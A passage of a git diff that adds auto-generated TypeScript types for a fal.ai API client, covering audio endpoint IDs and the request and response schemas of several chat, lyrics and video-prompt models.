'fal-ai/stable-audio-3/small/music/base/audio-to-audio': + 'fal-ai/stable-audio-3/small/music/base/audio-to-audio', + 'fal-ai/stable-audio-3/small/music/base/text-to-audio': + 'fal-ai/stable-audio-3/small/music/base/text-to-audio', + 'fal-ai/stable-audio-3/small/music/text-to-audio': + 'fal-ai/stable-audio-3/small/music/text-to-audio', + 'fal-ai/stable-audio-3/small/sfx/audio-inpainting': + 'fal-ai/stable-audio-3/small/sfx/audio-inpainting', + 'fal-ai/stable-audio-3/small/sfx/audio-outpainting': + 'fal-ai/stable-audio-3/small/sfx/audio-outpainting', + 'fal-ai/stable-audio-3/small/sfx/audio-to-audio': + 'fal-ai/stable-audio-3/small/sfx/audio-to-audio', + 'fal-ai/stable-audio-3/small/sfx/base/audio-inpainting': + 'fal-ai/stable-audio-3/small/sfx/base/audio-inpainting', + 'fal-ai/stable-audio-3/small/sfx/base/audio-outpainting': + 'fal-ai/stable-audio-3/small/sfx/base/audio-outpainting', + 'fal-ai/stable-audio-3/small/sfx/base/audio-to-audio': + 'fal-ai/stable-audio-3/small/sfx/base/audio-to-audio', + 'fal-ai/stable-audio-3/small/sfx/base/text-to-audio': + 'fal-ai/stable-audio-3/small/sfx/base/text-to-audio', + 'fal-ai/stable-audio-3/small/sfx/text-to-audio': + 'fal-ai/stable-audio-3/small/sfx/text-to-audio', + 'fal-ai/tada/1b/text-to-speech': 'fal-ai/tada/1b/text-to-speech', + 'fal-ai/tada/3b/text-to-speech': 'fal-ai/tada/3b/text-to-speech', + 'fal-ai/vibevoice': 'fal-ai/vibevoice', + 'fal-ai/vibevoice/0.5b': 'fal-ai/vibevoice/0.5b', + 'fal-ai/vibevoice/7b': 'fal-ai/vibevoice/7b', + 'fal-ai/wizper': 'fal-ai/wizper', + 'fal-ai/workflow-utilities/audio-compressor': + 'fal-ai/workflow-utilities/audio-compressor', + 'fal-ai/workflow-utilities/impulse-response': + 'fal-ai/workflow-utilities/impulse-response', + 'fal-ai/zonos': 'fal-ai/zonos', + 'fal-ai/zonos2': 'fal-ai/zonos2', + 'google/gemini-3.8-flash-lite-tts': 'google/gemini-3.8-flash-lite-tts', + 'google/gemini-3.8-flash-tts': 'google/gemini-3.8-flash-tts', + 'google/lyria-3.5': 'google/lyria-3.5', + 'heygen/heygen-voice': 'heygen/heygen-voice', + 'heygen/heygen-voice/turbo': 'heygen/heygen-voice/turbo', + 'kotoba-technologies/kotoba-stt/v1/speech-to-text': + 'kotoba-technologies/kotoba-stt/v1/speech-to-text', + 'minimax/music-3': 'minimax/music-3', + 'mirelo-ai/sfx2.0/text-to-audio': 'mirelo-ai/sfx2.0/text-to-audio', + 'mirelo-ai/sfx2.0/video-to-audio': 'mirelo-ai/sfx2.0/video-to-audio', + 'mureka/api/generate/podcast': 'mureka/api/generate/podcast', + 'mureka/api/generate/speech': 'mureka/api/generate/speech', + 'mureka/api/song/describe': 'mureka/api/song/describe', + 'mureka/api/song/edit': 'mureka/api/song/edit', + 'mureka/api/song/recognize': 'mureka/api/song/recognize', + 'mureka/api/song/stem': 'mureka/api/song/stem', + 'mureka/api/song/transcribe': 'mureka/api/song/transcribe', + 'mureka/api/voice/clone': 'mureka/api/voice/clone', + 'mureka/v8/generate/instrumental': 'mureka/v8/generate/instrumental', + 'mureka/v8/generate/song': 'mureka/v8/generate/song', + 'mureka/v8/generate/soundtrack': 'mureka/v8/generate/soundtrack', + 'mureka/v8/generate/track': 'mureka/v8/generate/track', + 'mureka/v8/song/extend': 'mureka/v8/song/extend', + 'mureka/v8/song/remix': 'mureka/v8/song/remix', + 'mureka/v9.5/generate/instrumental': 'mureka/v9.5/generate/instrumental', + 'mureka/v9.5/generate/song': 'mureka/v9.5/generate/song', + 'mureka/v9.5/generate/soundtrack': 'mureka/v9.5/generate/soundtrack', + 'mureka/v9.5/song/remix': 'mureka/v9.5/song/remix', + 'mureka/v9/generate/instrumental': 'mureka/v9/generate/instrumental', + 'mureka/v9/generate/song': 'mureka/v9/generate/song', + 'mureka/v9/generate/soundtrack': 'mureka/v9/generate/soundtrack', + 'nvidia/nemotron-3-nano-omni/audio': 'nvidia/nemotron-3-nano-omni/audio', + 'nvidia/nemotron-asr-multilingual/asr': + 'nvidia/nemotron-asr-multilingual/asr', + 'resemble-ai/chatterboxhd/speech-to-speech': + 'resemble-ai/chatterboxhd/speech-to-speech', + 'resemble-ai/chatterboxhd/text-to-speech': + 'resemble-ai/chatterboxhd/text-to-speech', + 'sonilo/v1.1/text-to-music': 'sonilo/v1.1/text-to-music', + 'sonilo/v1.1/text-to-sound-effects': 'sonilo/v1.1/text-to-sound-effects', + 'sonilo/v1.1/video-to-music': 'sonilo/v1.1/video-to-music', + 'sonilo/v1.1/video-to-sound-effects': 'sonilo/v1.1/video-to-sound-effects', + 'veed/clean-audio': 'veed/clean-audio', + 'xai/grok-voice': 'xai/grok-voice', + 'xai/grok-voice/realtime': 'xai/grok-voice/realtime', + 'xai/tts/v1': 'xai/tts/v1', +} as const + +export type FalGetEndpointIdRequestsRequestIdEndpointIdKey = + (typeof falGetEndpointIdRequestsRequestIdEndpointId)[keyof typeof falGetEndpointIdRequestsRequestIdEndpointId] + +export type FalGetEndpointIdRequestsRequestIdPath = { + /** + * @description Model raw id. Slashes are path segments: fal-ai/flux/dev is https://queue.fal.run/fal-ai/flux/dev, not fal-ai%2Fflux%2Fdev. x-modelschemas-encode is raw — do not percent-encode this value. + * @type string + */ + endpoint_id: FalGetEndpointIdRequestsRequestIdEndpointIdKey + request_id: string +} + +export type FalGetEndpointIdRequestsRequestIdStatus200 = + | OutputAlibabaQwenAudio3Tts + | OutputAsyncTtsProV10 + | OutputBytedanceSeedAudio10 + | OutputCassetteaiMusicGenerator + | OutputCassetteaiSoundEffectsGenerator + | OutputElevenlabsMusicV2 + | OutputElevenlabsMusicV25 + | OutputElevenlabsSoundEffectsV3 + | OutputElevenlabsTtsElevenV4 + | OutputElevenlabsTtsElevenV4Turbo + | OutputFalAiAceStep + | OutputFalAiAceStepAudioInpaint + | OutputFalAiAceStepAudioOutpaint + | OutputFalAiAceStepAudioToAudio + | OutputFalAiAceStepPromptToAudio + | OutputFalAiAudioUnderstanding + | OutputFalAiBytedanceSeedSpeechTtsV2 + | OutputFalAiChatterboxSpeechToSpeech + | OutputFalAiChatterboxTextToSpeech + | OutputFalAiChatterboxTextToSpeechMultilingual + | OutputFalAiCohereTranscribe + | OutputFalAiCsm1B + | OutputFalAiDeepfilternet3 + | OutputFalAiDemucs + | OutputFalAiDiaTts + | OutputFalAiDiaTtsVoiceClone + | OutputFalAiElevenlabsAudioIsolation + | OutputFalAiElevenlabsForcedAlignment + | OutputFalAiElevenlabsMusic + | OutputFalAiElevenlabsSoundEffectsV2 + | OutputFalAiElevenlabsSpeechToText + | OutputFalAiElevenlabsSpeechToTextScribeV2 + | OutputFalAiElevenlabsTextToDialogueElevenV3 + | OutputFalAiElevenlabsTtsElevenV3 + | OutputFalAiElevenlabsTtsMultilingualV2 + | OutputFalAiElevenlabsTtsTurboV25 + | OutputFalAiElevenlabsVoiceChanger + | OutputFalAiF5Tts + | OutputFalAiFfmpegApiMergeAudios + | OutputFalAiGemini31FlashTts + | OutputFalAiGeminiTts + | OutputFalAiIndexTts2TextToSpeech + | OutputFalAiInworldTts + | OutputFalAiKlingVideoCreateVoice + | OutputFalAiKlingVideoV1Tts + | OutputFalAiKlingVideoVideoToAudio + | OutputFalAiKokoroAmericanEnglish + | OutputFalAiKokoroBrazilianPortuguese + | OutputFalAiKokoroBritishEnglish + | OutputFalAiKokoroFrench + | OutputFalAiKokoroHindi + | OutputFalAiKokoroItalian + | OutputFalAiKokoroJapanese + | OutputFalAiKokoroMandarinChinese + | OutputFalAiKokoroSpanish + | OutputFalAiLtx23QualityTextToAudio + | OutputFalAiLtx23QualityTextToAudioLora + | OutputFalAiLyria2 + | OutputFalAiLyria3 + | OutputFalAiLyria3Pro + | OutputFalAiMinimaxMusic + | OutputFalAiMinimaxMusicV15 + | OutputFalAiMinimaxMusicV2 + | OutputFalAiMinimaxMusicV25 + | OutputFalAiMinimaxMusicV26 + | OutputFalAiMinimaxPreviewSpeech25Hd + | OutputFalAiMinimaxPreviewSpeech25Turbo + | OutputFalAiMinimaxSpeech02Hd + | OutputFalAiMinimaxSpeech02Turbo + | OutputFalAiMinimaxSpeech26Hd + | OutputFalAiMinimaxSpeech26Turbo + | OutputFalAiMinimaxSpeech28Hd + | OutputFalAiMinimaxSpeech28Turbo + | OutputFalAiMinimaxVoiceClone + | OutputFalAiMinimaxVoiceDesign + | OutputFalAiMmaudioV2TextToAudio + | OutputFalAiOrpheusTts + | OutputFalAiQwen3TtsCloneVoice06B + | OutputFalAiQwen3TtsCloneVoice17B + | OutputFalAiQwen3TtsTextToSpeech06B + | OutputFalAiQwen3TtsTextToSpeech17B + | OutputFalAiQwen3TtsVoiceDesign17B + | OutputFalAiSamAudioSeparate + | OutputFalAiSamAudioSpanSeparate + | OutputFalAiSamAudioVisualSeparate + | OutputFalAiSileroVad + | OutputFalAiSpeechToText + | OutputFalAiSpeechToTextStream + | OutputFalAiSpeechToTextTurbo + | OutputFalAiSpeechToTextTurboStream + | OutputFalAiStableAudio + | OutputFalAiStableAudio25AudioToAudio + | OutputFalAiStableAudio25Inpaint + | OutputFalAiStableAudio25TextToAudio + | OutputFalAiStableAudio3MediumAudioInpainting + | OutputFalAiStableAudio3MediumAudioOutpainting + | OutputFalAiStableAudio3MediumAudioToAudio + | OutputFalAiStableAudio3MediumBaseAudioInpainting + | OutputFalAiStableAudio3MediumBaseAudioOutpainting + | OutputFalAiStableAudio3MediumBaseAudioToAudio + | OutputFalAiStableAudio3MediumBaseTextToAudio + | OutputFalAiStableAudio3MediumTextToAudio + | OutputFalAiStableAudio3SmallMusicAudioInpainting + | OutputFalAiStableAudio3SmallMusicAudioOutpainting + | OutputFalAiStableAudio3SmallMusicAudioToAudio + | OutputFalAiStableAudio3SmallMusicBaseAudioInpainting + | OutputFalAiStableAudio3SmallMusicBaseAudioOutpainting + | OutputFalAiStableAudio3SmallMusicBaseAudioToAudio + | OutputFalAiStableAudio3SmallMusicBaseTextToAudio + | OutputFalAiStableAudio3SmallMusicTextToAudio + | OutputFalAiStableAudio3SmallSfxAudioInpainting + | OutputFalAiStableAudio3SmallSfxAudioOutpainting + | OutputFalAiStableAudio3SmallSfxAudioToAudio + | OutputFalAiStableAudio3SmallSfxBaseAudioInpainting + | OutputFalAiStableAudio3SmallSfxBaseAudioOutpainting + | OutputFalAiStableAudio3SmallSfxBaseAudioToAudio + | OutputFalAiStableAudio3SmallSfxBaseTextToAudio + | OutputFalAiStableAudio3SmallSfxTextToAudio + | OutputFalAiTada1BTextToSpeech + | OutputFalAiTada3BTextToSpeech + | OutputFalAiVibevoice + | OutputFalAiVibevoice05B + | OutputFalAiVibevoice7B + | OutputFalAiWizper + | OutputFalAiWorkflowUtilitiesAudioCompressor + | OutputFalAiWorkflowUtilitiesImpulseResponse + | OutputFalAiZonos + | OutputFalAiZonos2 + | OutputGoogleGemini38FlashLiteTts + | OutputGoogleGemini38FlashTts + | OutputGoogleLyria35 + | OutputHeygenHeygenVoice + | OutputHeygenHeygenVoiceTurbo + | OutputKotobaTechnologiesKotobaSttV1SpeechToText + | OutputMinimaxMusic3 + | OutputMireloAiSfx20TextToAudio + | OutputMireloAiSfx20VideoToAudio + | OutputMurekaApiGeneratePodcast + | OutputMurekaApiGenerateSpeech + | OutputMurekaApiSongDescribe + | OutputMurekaApiSongEdit + | OutputMurekaApiSongRecognize + | OutputMurekaApiSongStem + | OutputMurekaApiSongTranscribe + | OutputMurekaApiVoiceClone + | OutputMurekaV8GenerateInstrumental + | OutputMurekaV8GenerateSong + | OutputMurekaV8GenerateSoundtrack + | OutputMurekaV8GenerateTrack + | OutputMurekaV8SongExtend + | OutputMurekaV8SongRemix + | OutputMurekaV95GenerateInstrumental + | OutputMurekaV95GenerateSong + | OutputMurekaV95GenerateSoundtrack + | OutputMurekaV95SongRemix + | OutputMurekaV9GenerateInstrumental + | OutputMurekaV9GenerateSong + | OutputMurekaV9GenerateSoundtrack + | OutputNvidiaNemotron3NanoOmniAudio + | OutputNvidiaNemotronAsrMultilingualAsr + | OutputResembleAiChatterboxhdSpeechToSpeech + | OutputResembleAiChatterboxhdTextToSpeech + | OutputSoniloV11TextToMusic + | OutputSoniloV11TextToSoundEffects + | OutputSoniloV11VideoToMusic + | OutputSoniloV11VideoToSoundEffects + | OutputVeedCleanAudio + | OutputXaiGrokVoice + | OutputXaiGrokVoiceRealtime + | OutputXaiTtsV1 + +export type FalGetEndpointIdRequestsRequestIdOptions = { + body?: never + path: FalGetEndpointIdRequestsRequestIdPath + query?: never + headers?: never +} + +export type FalGetEndpointIdRequestsRequestIdResponses = { + '200': FalGetEndpointIdRequestsRequestIdStatus200 +} + +/** + * @description Union of all possible responses + */ +export type FalGetEndpointIdRequestsRequestIdResponse = + FalGetEndpointIdRequestsRequestIdStatus200 diff --git a/packages/ai-fal/src/generated/chat/types.ts b/packages/ai-fal/src/generated/chat/types.ts new file mode 100644 index 0000000000..db4282a0d5 --- /dev/null +++ b/packages/ai-fal/src/generated/chat/types.ts @@ -0,0 +1,1973 @@ +/** + * Generated by Kubb (https://kubb.dev/). + * Do not edit manually. + */ + +export const seed2MiniMessageRoleEnum = { + system: 'system', + user: 'user', + assistant: 'assistant', +} as const + +export type Seed2MiniMessageRoleEnumKey = + (typeof seed2MiniMessageRoleEnum)[keyof typeof seed2MiniMessageRoleEnum] + +export type Seed2MiniMessage = { + /** + * @description The role of the message author. + * @type string + */ + role: Seed2MiniMessageRoleEnumKey + /** + * @description The content of the message. Can be a string for text-only messages, or a list of content parts for multimodal messages (e.g. with images). + */ + content: string | object[] +} + +export const inputFalAiBytedanceSeedV2MiniReasoningEffort = { + minimal: 'minimal', + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type InputFalAiBytedanceSeedV2MiniReasoningEffortKey = + (typeof inputFalAiBytedanceSeedV2MiniReasoningEffort)[keyof typeof inputFalAiBytedanceSeedV2MiniReasoningEffort] + +export const inputFalAiBytedanceSeedV2MiniThinkingEnum = { + enabled: 'enabled', + disabled: 'disabled', + auto: 'auto', +} as const + +export type InputFalAiBytedanceSeedV2MiniThinkingEnumKey = + (typeof inputFalAiBytedanceSeedV2MiniThinkingEnum)[keyof typeof inputFalAiBytedanceSeedV2MiniThinkingEnum] + +export type InputFalAiBytedanceSeedV2Mini = { + /** + * @description Optional prior conversation history for multi-turn conversations. Pass back the `messages` field from a previous response to provide context. The current `prompt`, `image_urls`, `video_urls`, and `system_prompt` are always appended as the latest user turn. + * @example [] + */ + messages?: Seed2MiniMessage[] | null + /** + * @description URLs of videos for video understanding. Supported formats: MP4, MOV. Audio comprehension is not supported. A maximum of 3 videos is supported. Any additional videos will be ignored. + * @type array | undefined + */ + video_urls?: string[] + /** + * @description Controls randomness in the response. Lower values make output more focused and deterministic, higher values make it more creative. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + temperature?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Controls the maximum length of the model's output, including both the model's response and its chain-of-thought content, measured in tokens. + * @minimum 1 + * @maximum 65536 + * @default 4096 + * @type integer | undefined + */ + max_completion_tokens?: number + /** + * @description Controls the depth of reasoning before the model responds. Only applicable when `thinking` is `enabled` or `auto`. `minimal` for immediate response, `low` for faster response with light reasoning, `medium` for balanced speed and depth, `high` for deep analysis of complex issues. + */ + reasoning_effort?: InputFalAiBytedanceSeedV2MiniReasoningEffortKey | null + /** + * @description URLs of images for visual understanding. Supported formats: JPEG, PNG, WebP. A maximum of 6 images is supported. Any additional images will be ignored. + * @type array | undefined + */ + image_urls?: string[] + /** + * @description Nucleus sampling parameter. The model considers tokens with top_p cumulative probability mass. Lower values narrow the token selection. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + top_p?: number + /** + * @description Controls the model's chain-of-thought reasoning. `enabled` always includes reasoning, `disabled` never includes reasoning, `auto` lets the model decide based on the query. + * @default 'enabled' + * @type string | undefined + */ + thinking?: InputFalAiBytedanceSeedV2MiniThinkingEnumKey + /** + * @description Optional system prompt to guide the model's behavior. + */ + system_prompt?: string | null + /** + * @description The text prompt or question for the model. + * @example What can you do? + * @type string + */ + prompt: string +} + +export const seed2MiniMessage4E433A38RoleEnum = { + system: 'system', + user: 'user', + assistant: 'assistant', +} as const + +export type Seed2MiniMessage4E433A38RoleEnumKey = + (typeof seed2MiniMessage4E433A38RoleEnum)[keyof typeof seed2MiniMessage4E433A38RoleEnum] + +export type Seed2MiniMessage4E433A38 = { + /** + * @description The content of the message. Can be a string for text-only messages, or a list of content parts for multimodal messages (e.g. with images). + */ + content: string | object[] + /** + * @description The role of the message author. + * @type string + */ + role: Seed2MiniMessage4E433A38RoleEnumKey +} + +export type OutputFalAiBytedanceSeedV2Mini = { + /** + * @description The model's text response. + * @type string + */ + output: string + /** + * @description The full conversation history including the model's response. Pass this back as the `messages` input field to continue the conversation. + * @type array + */ + messages: Seed2MiniMessage4E433A38[] + /** + * @description The model's chain-of-thought reasoning content. Only present when `thinking` is `enabled` or `auto`. + */ + reasoning_content?: string | null +} + +export const inputFalAiVideoPromptGeneratorModelEnum = { + 'anthropic/claude-3-haiku': 'anthropic/claude-3-haiku', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o': 'openai/gpt-4o', +} as const + +export type InputFalAiVideoPromptGeneratorModelEnumKey = + (typeof inputFalAiVideoPromptGeneratorModelEnum)[keyof typeof inputFalAiVideoPromptGeneratorModelEnum] + +export const inputFalAiVideoPromptGeneratorCameraStyleEnum = { + None: 'None', + 'Steadicam flow': 'Steadicam flow', + 'Drone aerials': 'Drone aerials', + 'Handheld urgency': 'Handheld urgency', + 'Crane elegance': 'Crane elegance', + 'Dolly precision': 'Dolly precision', + 'VR 360': 'VR 360', + 'Multi-angle rig': 'Multi-angle rig', + 'Static tripod': 'Static tripod', + 'Gimbal smoothness': 'Gimbal smoothness', + 'Slider motion': 'Slider motion', + 'Jib sweep': 'Jib sweep', + 'POV immersion': 'POV immersion', + 'Time-slice array': 'Time-slice array', + 'Macro extreme': 'Macro extreme', + 'Tilt-shift miniature': 'Tilt-shift miniature', + 'Snorricam character': 'Snorricam character', + 'Whip pan dynamics': 'Whip pan dynamics', + 'Dutch angle tension': 'Dutch angle tension', + 'Underwater housing': 'Underwater housing', + 'Periscope lens': 'Periscope lens', +} as const + +export type InputFalAiVideoPromptGeneratorCameraStyleEnumKey = + (typeof inputFalAiVideoPromptGeneratorCameraStyleEnum)[keyof typeof inputFalAiVideoPromptGeneratorCameraStyleEnum] + +export const inputFalAiVideoPromptGeneratorPromptLengthEnum = { + Short: 'Short', + Medium: 'Medium', + Long: 'Long', +} as const + +export type InputFalAiVideoPromptGeneratorPromptLengthEnumKey = + (typeof inputFalAiVideoPromptGeneratorPromptLengthEnum)[keyof typeof inputFalAiVideoPromptGeneratorPromptLengthEnum] + +export const inputFalAiVideoPromptGeneratorCameraDirectionEnum = { + None: 'None', + 'Zoom in': 'Zoom in', + 'Zoom out': 'Zoom out', + 'Pan left': 'Pan left', + 'Pan right': 'Pan right', + 'Tilt up': 'Tilt up', + 'Tilt down': 'Tilt down', + 'Orbital rotation': 'Orbital rotation', + 'Push in': 'Push in', + 'Pull out': 'Pull out', + 'Track forward': 'Track forward', + 'Track backward': 'Track backward', + 'Spiral in': 'Spiral in', + 'Spiral out': 'Spiral out', + 'Arc movement': 'Arc movement', + 'Diagonal traverse': 'Diagonal traverse', + 'Vertical rise': 'Vertical rise', + 'Vertical descent': 'Vertical descent', +} as const + +export type InputFalAiVideoPromptGeneratorCameraDirectionEnumKey = + (typeof inputFalAiVideoPromptGeneratorCameraDirectionEnum)[keyof typeof inputFalAiVideoPromptGeneratorCameraDirectionEnum] + +export const inputFalAiVideoPromptGeneratorSpecialEffectsEnum = { + None: 'None', + 'Practical effects': 'Practical effects', + 'CGI enhancement': 'CGI enhancement', + 'Analog glitches': 'Analog glitches', + 'Light painting': 'Light painting', + 'Projection mapping': 'Projection mapping', + 'Nanosecond exposures': 'Nanosecond exposures', + 'Double exposure': 'Double exposure', + 'Smoke diffusion': 'Smoke diffusion', + 'Lens flare artistry': 'Lens flare artistry', + 'Particle systems': 'Particle systems', + 'Holographic overlay': 'Holographic overlay', + 'Chromatic aberration': 'Chromatic aberration', + 'Digital distortion': 'Digital distortion', + 'Wire removal': 'Wire removal', + 'Motion capture': 'Motion capture', + 'Miniature integration': 'Miniature integration', + 'Weather simulation': 'Weather simulation', + 'Color grading': 'Color grading', + 'Mixed media composite': 'Mixed media composite', + 'Neural style transfer': 'Neural style transfer', +} as const + +export type InputFalAiVideoPromptGeneratorSpecialEffectsEnumKey = + (typeof inputFalAiVideoPromptGeneratorSpecialEffectsEnum)[keyof typeof inputFalAiVideoPromptGeneratorSpecialEffectsEnum] + +export const inputFalAiVideoPromptGeneratorStyleEnum = { + Minimalist: 'Minimalist', + Simple: 'Simple', + Detailed: 'Detailed', + Descriptive: 'Descriptive', + Dynamic: 'Dynamic', + Cinematic: 'Cinematic', + Documentary: 'Documentary', + Animation: 'Animation', + Action: 'Action', + Experimental: 'Experimental', +} as const + +export type InputFalAiVideoPromptGeneratorStyleEnumKey = + (typeof inputFalAiVideoPromptGeneratorStyleEnum)[keyof typeof inputFalAiVideoPromptGeneratorStyleEnum] + +export const inputFalAiVideoPromptGeneratorPacingEnum = { + None: 'None', + 'Slow burn': 'Slow burn', + 'Rhythmic pulse': 'Rhythmic pulse', + 'Frantic energy': 'Frantic energy', + 'Ebb and flow': 'Ebb and flow', + 'Hypnotic drift': 'Hypnotic drift', + 'Time-lapse rush': 'Time-lapse rush', + 'Stop-motion staccato': 'Stop-motion staccato', + 'Gradual build': 'Gradual build', + 'Quick cut rhythm': 'Quick cut rhythm', + 'Long take meditation': 'Long take meditation', + 'Jump cut energy': 'Jump cut energy', + 'Match cut flow': 'Match cut flow', + 'Cross-dissolve dreamscape': 'Cross-dissolve dreamscape', + 'Parallel action': 'Parallel action', + 'Slow motion impact': 'Slow motion impact', + 'Ramping dynamics': 'Ramping dynamics', + 'Montage tempo': 'Montage tempo', + 'Continuous flow': 'Continuous flow', + 'Episodic breaks': 'Episodic breaks', +} as const + +export type InputFalAiVideoPromptGeneratorPacingEnumKey = + (typeof inputFalAiVideoPromptGeneratorPacingEnum)[keyof typeof inputFalAiVideoPromptGeneratorPacingEnum] + +export type InputFalAiVideoPromptGenerator = { + /** + * @description Model to use + * @default 'google/gemini-2.5-flash-lite' + * @type string | undefined + */ + model?: InputFalAiVideoPromptGeneratorModelEnumKey + /** + * @description Camera movement style + * @default 'None' + * @type string | undefined + */ + camera_style?: InputFalAiVideoPromptGeneratorCameraStyleEnumKey + /** + * @description Length of the prompt + * @default 'Medium' + * @type string | undefined + */ + prompt_length?: InputFalAiVideoPromptGeneratorPromptLengthEnumKey + /** + * @description Camera direction + * @default 'None' + * @type string | undefined + */ + camera_direction?: InputFalAiVideoPromptGeneratorCameraDirectionEnumKey + /** + * @description Special effects approach + * @default 'None' + * @type string | undefined + */ + special_effects?: InputFalAiVideoPromptGeneratorSpecialEffectsEnumKey + /** + * @description Core concept or thematic input for the video prompt + * @example A futuristic city at dusk + * @type string + */ + input_concept: string + /** + * @description Style of the video prompt + * @default 'Simple' + * @type string | undefined + */ + style?: InputFalAiVideoPromptGeneratorStyleEnumKey + /** + * @description Custom technical elements (optional) + * @default '' + * @type string | undefined + */ + custom_elements?: string + /** + * @description Pacing rhythm + * @default 'None' + * @type string | undefined + */ + pacing?: InputFalAiVideoPromptGeneratorPacingEnumKey + /** + * @description URL of an image to analyze and incorporate into the video prompt (optional) + * @type string | undefined + */ + image_url?: string +} + +export type OutputFalAiVideoPromptGenerator = { + /** + * @description Generated video prompt + * @example A futuristic city glows softly at dusk, captured with smooth gimbal movements and a slow burn pacing, enhanced by subtle holographic overlays. + * @type string + */ + prompt: string +} + +export type InputMurekaApiGenerateLyrics = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Topic, theme, or title to use when writing the lyrics. + * @minLength 1 + * @example Embrace of Night + * @type string + */ + prompt: string +} + +export type OutputMurekaApiGenerateLyrics = { + /** + * @description The lyrics generated from the prompt. + * @type string + */ + lyrics: string + /** + * @description The title generated from the prompt. + * @type string + */ + title: string +} + +export type InputMurekaApiLyricsExtend = { + /** + * @description Existing lyrics to continue from, including any section labels. + * @minLength 1 + * @example [Verse] + * In the stormy night, I wander alone + * Lost in the rain, feeling like I have been thrown + * @type string + */ + lyrics: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type OutputMurekaApiLyricsExtend = { + /** + * @description The extended lyrics. + * @type string + */ + lyrics: string +} + +export const inputNvidiaNemotron35SuperTextReasoningModeEnum = { + think: 'think', + no_think: 'no_think', +} as const + +export type InputNvidiaNemotron35SuperTextReasoningModeEnumKey = + (typeof inputNvidiaNemotron35SuperTextReasoningModeEnum)[keyof typeof inputNvidiaNemotron35SuperTextReasoningModeEnum] + +export type InputNvidiaNemotron35SuperText = { + /** + * @description Maximum number of tokens to generate. + * @minimum 1 + * @maximum 32000 + * @default 1024 + * @type integer | undefined + */ + max_tokens?: number + /** + * @description Text prompt to send to the model. + * @minLength 1 + * @example Summarize the key ideas of hybrid Mamba-Transformer models. + * @type string + */ + prompt: string + /** + * @description `think` emits an explicit reasoning trace before the final answer; `no_think` returns a direct answer. + * @default 'no_think' + * @type string | undefined + */ + reasoning_mode?: InputNvidiaNemotron35SuperTextReasoningModeEnumKey + /** + * @description Nucleus sampling probability mass. + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + top_p?: number + /** + * @description Optional system prompt to steer the model. + * @example You are a concise assistant. + */ + system_prompt?: string | null + /** + * @description Sampling temperature. NVIDIA recommends 1.0 for all tasks. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + temperature?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type UsageInfo = { + /** + * @description Number of input tokens processed. + * @type integer + */ + input_tokens: number + /** + * @description Number of output tokens generated. + * @type integer + */ + output_tokens: number +} + +export type OutputNvidiaNemotron35SuperText = { + /** + * @description Token usage for the request. + * @example {"input_tokens":24,"output_tokens":87} + * @type object + */ + usage: UsageInfo + /** + * @description Reasoning trace, returned only in `think` mode. + */ + reasoning?: string | null + /** + * @description Generated text response. + * @example Hello! How can I help? + * @type string + */ + output: string + /** + * @description Reason generation stopped. + * @default 'stop' + * @example stop + * @example length + * @type string | undefined + */ + finish_reason?: string +} + +export const inputNvidiaNemotron35SuperVideoReasoningModeEnum = { + think: 'think', + no_think: 'no_think', +} as const + +export type InputNvidiaNemotron35SuperVideoReasoningModeEnumKey = + (typeof inputNvidiaNemotron35SuperVideoReasoningModeEnum)[keyof typeof inputNvidiaNemotron35SuperVideoReasoningModeEnum] + +export type InputNvidiaNemotron35SuperVideo = { + /** + * @description Text prompt to send to the model. + * @minLength 1 + * @example Summarize the key ideas of hybrid Mamba-Transformer models. + * @type string + */ + prompt: string + /** + * @description `think` emits an explicit reasoning trace before the final answer; `no_think` returns a direct answer. + * @default 'no_think' + * @type string | undefined + */ + reasoning_mode?: InputNvidiaNemotron35SuperVideoReasoningModeEnumKey + /** + * @description Nucleus sampling probability mass. + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + top_p?: number + /** + * @description Sampling temperature. NVIDIA recommends 1.0 for all tasks. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + temperature?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URL of the video to reason about. mp4, max 2 minutes, max 3840 pixels per side and 3840x2160 total pixels. + * @example https://storage.googleapis.com/falserverless/example_inputs/birefnet-video-input.mp4 + * @type string + */ + video_url: string + /** + * @description Maximum number of tokens to generate. + * @minimum 1 + * @maximum 32000 + * @default 1024 + * @type integer | undefined + */ + max_tokens?: number + /** + * @description Optional system prompt to steer the model. + * @example You are a concise assistant. + */ + system_prompt?: string | null +} + +export type OutputNvidiaNemotron35SuperVideo = { + /** + * @description Token usage for the request. + * @example {"input_tokens":24,"output_tokens":87} + * @type object + */ + usage: UsageInfo + /** + * @description Reasoning trace, returned only in `think` mode. + */ + reasoning?: string | null + /** + * @description Generated text response. + * @example Hello! How can I help? + * @type string + */ + output: string + /** + * @description Reason generation stopped. + * @default 'stop' + * @example stop + * @example length + * @type string | undefined + */ + finish_reason?: string +} + +export const inputNvidiaNemotron35SuperVisionReasoningModeEnum = { + think: 'think', + no_think: 'no_think', +} as const + +export type InputNvidiaNemotron35SuperVisionReasoningModeEnumKey = + (typeof inputNvidiaNemotron35SuperVisionReasoningModeEnum)[keyof typeof inputNvidiaNemotron35SuperVisionReasoningModeEnum] + +export type InputNvidiaNemotron35SuperVision = { + /** + * @description Text prompt to send to the model. + * @minLength 1 + * @example Summarize the key ideas of hybrid Mamba-Transformer models. + * @type string + */ + prompt: string + /** + * @description `think` emits an explicit 